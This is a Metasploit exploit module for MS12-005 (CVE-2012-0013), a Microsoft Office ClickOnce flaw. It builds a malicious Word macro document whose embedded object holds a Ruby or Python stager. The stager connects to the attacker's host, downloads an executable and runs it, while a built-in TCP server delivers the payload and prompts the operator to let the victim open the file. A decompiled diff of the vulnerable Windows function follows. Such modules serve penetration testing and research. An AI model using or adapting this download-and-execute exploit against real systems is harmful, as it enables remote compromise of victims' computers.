|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251  |  ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'rex/zip' class Metasploit3 < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::FILEFORMAT  include Msf::Exploit::EXE  include Msf::Exploit::Remote::TcpServer  def initialize(info={})  super(update_info(info,  'Name' => "MS12-005 Microsoft Office ClickOnce Unsafe Object Package Handling Vulnerability",  'Description'=> %q{  This module exploits a vulnerability found in Microsoft Office's ClickOnce  feature.When handling a Macro document, the application fails to recognize  certain file extensions as dangerous executables, which can be used to bypass  the warning message.This allows you to trick your victim into opening the  malicious document, which will load up either a python or ruby payload based on  your choosing, and then finally download and execute our executable.  },  'License'=> MSF_LICENSE,  'Author' =>  [  'Yorick Koster', #Vuln discovery  'sinn3r' #Metasploit  ],  'References' =>  [  ['CVE', '2012-0013'],  ['OSVDB', '78207'],  ['MSB', 'ms12-005'],  ['BID', '51284'],  ['URL', 'http://support.microsoft.com/default.aspx?scid=kb;EN-US;2584146'],  ['URL', 'http://exploitshop.wordpress.com/2012/01/14/ms12-005-embedded-object-package-allow-arbitrary-code-execution/']  ],  'Payload'=>  {  'BadChars' => "\x00"  },  'DefaultOptions'=>  {  'ExitFunction'=> "none",  'DisablePayloadHandler' => 'false'  },  'Platform' => 'win',  'Targets'=>  [  ['Microsoft Office Word 2007/2010 on Windows 7', {}],  ],  'Privileged' => false,  'DisclosureDate' => "Jan 10 2012",  'DefaultTarget'=> 0))  register_options(  [  OptEnum.new('PAYLOAD_TYPE', [true, "The initial payload type", 'PYTHON', %w(RUBY PYTHON)]),  OptString.new("BODY", [false, 'The message for the document body', '']),  OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm'])  ], self.class)  end  #  # Return the first-stage payload that will download our malicious executable.  #  def get_download_exec_payload(type, lhost, lport)  payload_name = Rex::Text.rand_text_alpha(7)  # Padd up 6 null bytes so the first few characters won't get cut off  p = "\x00"*6  case type  when :rb  p << %Q|  require 'socket'  require 'tempfile'  begin  cli = TCPSocket.open("#{lhost}",#{lport})  buf = ''  while l = cli.gets  buf << l  end  cli.close  tmp = Tempfile.new(['#{payload_name}','.exe'])  t = tmp.path  tmp.binmode  tmp.write(buf)  tmp.close  exec(t)  rescue  end#|  when :py  p << %Q|  import socket  import tempfile  import os  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  s.connect(("#{lhost}", #{lport}))  buf = ""  while True:  data = s.recv(1024)  if data:  buf += data  else:  break  s.close  temp = tempfile.gettempdir() + "\\\\\\" + "#{payload_name}.exe"  f = open(temp, "wb")  f.write(buf)  f.close  f = None  os.system(temp)  #|  end  p = p.gsub(/^\t\t\t/, '')  return p  end  #  # Reads a file that'll be packaged.  # This will patch certain files on the fly, or return the original content of the file.  #  def on_file_read(fname, file)  f = open(file, 'rb')  buf = f.read  f.close  # Modify certain files on the fly  case file  when /oleObject1\.bin/  # Patch the OLE object file with our payload  print_status("Patching OLE object")  ptype = datastore['PAYLOAD_TYPE'] == 'PYTHON' ? :py : :rb  p = get_download_exec_payload(ptype, @ip, @port)  buf = buf.gsub(/MYPAYLOAD/, p)  # Patch username  username = Rex::Text.rand_text_alpha(5)  buf = buf.gsub(/METASPLOIT/, username)  buf = buf.gsub(/#{Rex::Text.to_unicode("METASPLOIT")}/, Rex::Text.to_unicode(username))  # Patch the filename  f = Rex::Text.rand_text_alpha(6)  buf = buf.gsub(/MYFILENAME/, f)  buf = buf.gsub(/#{Rex::Text.to_unicode("MYFILENAME")}/, Rex::Text.to_unicode(f))  # Patch the extension name  ext = ptype.to_s  buf = buf.gsub(/MYEXT/, ext)  buf = buf.gsub(/#{Rex::Text.to_unicode("MYEXT")}/, Rex::Text.to_unicode(ext))  when /document\.xml/  print_status("Patching document body")  # Patch the docx body  buf = buf.gsub(/W00TW00T/, datastore['BODY'])  end  # The original filename of __rels is actually ".rels".  # But for some reason if that's our original filename, it won't be included  # in the archive. So this hacks around that.  case fname  when /__rels/  fname = fname.gsub(/\_\_rels/, '.rels')  end  yield fname, buf  end  #  # Packages the Office Macro Document  #  def package_docm_rex(path)  zip = Rex::Zip::Archive.new  Dir["#{path}/**/**"].each do |file|  p = file.sub(path+'/','')  if File.directory?(file)  print_status("Packging directory: #{file}")  zip.add_file(p)  else  on_file_read(p, file) do |fname, buf|  print_status("Packaging file: #{fname}")  zip.add_file(fname, buf)  end  end  end  zip.pack  end  #  # Return the malicious executable  #  def on_client_connect(cli)  print_status("#{cli.peerhost}:#{cli.peerport} - Sending executable (#{@exe.length.to_s} bytes)")  cli.put(@exe)  service.close_client(cli)  end  def exploit  @ip= datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']  @port= datastore['SRVPORT']  print_status("Generating our docm file...")  path= File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2012-0013')  docm = package_docm_rex(path)  file_create(docm)  print_good("Let your victim open #{datastore['FILENAME']}")  print_status("Generating our malicious executable...")  @exe = generate_payload_exe  print_status("Ready to deliver your payload on #{@ip}:#{@port.to_s}")  super  end end =begin mbp:win7_diff sinn3r$ diff patch/GetCurrentIcon.c vuln/GetCurrentIcon.c  1c1 < void *__thiscall CPackage::_GetCurrentIcon(void *this, int a2) --- > const WCHAR *__thiscall CPackage::_GetCurrentIcon(void *this, int a2) ... 24c24 < if ( AssocIsDangerous(result) || !SHGetFileInfoW(pszPath, 0x80u, &psfi, 0x2B4u, 0x110u) ) --- > if ( IsProgIDInList(0, result, extList, 0x11u) || !SHGetFileInfoW(pszPath, 0x80u, &psfi, 0x2B4u, 0x110u) ) 31c31 =end  |